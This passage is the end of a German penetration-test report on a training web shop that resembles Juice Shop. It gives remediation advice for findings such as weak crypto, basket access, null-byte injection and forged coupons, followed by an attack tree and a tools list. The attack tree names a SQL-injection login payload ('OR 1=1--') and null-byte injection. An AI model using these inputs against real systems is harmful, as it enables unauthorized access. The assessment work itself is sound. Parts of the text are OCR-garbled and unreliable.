werden, um ungultige Eintrage zu verhindern.
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7.5 Weird Crypto

Die verwendeten kryptografischen Algorithmen mussen auf Sicherheit Uberpraft und
veraltete/unsichere Algorithmen ersetzt werden.

7.6 View Basket View another user's shopping basket.

Das ,View Basket“-Szenario kann durch eine serverseitige Autorisierungsprufung ver-
hindert werden, die sicherstellt, dass nur der Eigentimer eines Warenkorbs Zugriff da-
rauf hat.

7.7 Forgotton Sales Backup / Poison Null Byte

Alte bzw. ungenutzte Ordner sollten geléscht werden. Alternativ sollte der Zugriff fur
authorisierte Nutzer beschrankt werden, z.B. durch IP-Whitelisting. Auch eine Verwei-
gerung auf die Pfade von Seiten des Webservers ist einstellbar.

Eingaben von \x00 mussen explizit abgelehnt werden, z.B. durch Blacklists. Aul3erdem
konnten die Pfade mit fuzzing unkenntlich gemacht werden.

7.8 Forged Coupon

Eine Erstellung von random Token mit 128 oder 256bit Verschlusselung, die auf einer
internen Datenbank mit Metadaten (Erstellungsdatum, Ablaufdatum, Discount, er-
laubte Nutzer) gespeichert werden. Bei Nutzung wird ein Token abgerufen, Metadaten
gecheckt und sofort als genutzt markiert.
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8 Anhang
8.1 Attack Tree

Kompromittierung des Saftladens

Empty User[Registration Login Admin
Methode: Registrierung ohne E-Mail q Methode: SQL-Injection 'OR 1=1--"Tool: Burp

Tool: Burp Suite B yite
Auswirkung: Anpnyme Accounts ‘ dmin-Zugriff

Zero Stars Weird Crypto View Basket
Methode: Bewertung auf 0 setzen Methode: Veraltete Algorithmen melden Methode: Basket-ID manipulieren
Tool: Burp Suite Tool: Recherche Tool: Burp Suite
Auswirkung: Reputationsschaden Auswirkung: Datenkompromittierung Auswirkung: Zugriff auf fremde Warenkorbe

Poison Null Byte Forged Coupon
Methode: Null-Byte-Injection Methode: Coupon generieren
Tool: Burp Suite Tool: CyberChef
Auswirkung: Zugriff auf Backup-Dateien Auswirkung: Unberechtigte Rabatte

8.2 Assessment Scope

Es wurden keine Anderungen am Scope vorgenommen.

8.3 Assessment Artefacts (Artefakte zur Bewertung)

Es sind keine Artefakte durch die Prifung entstanden.

8.4 Tools Used

Folgende Befehle und Tools kamen zum Einsatz:
- Burp Suite
- Cyber Chef

Demoort, 15.10.2025

ol L p ) bl

Erich G., Michael W., Mario H., Anne Z.
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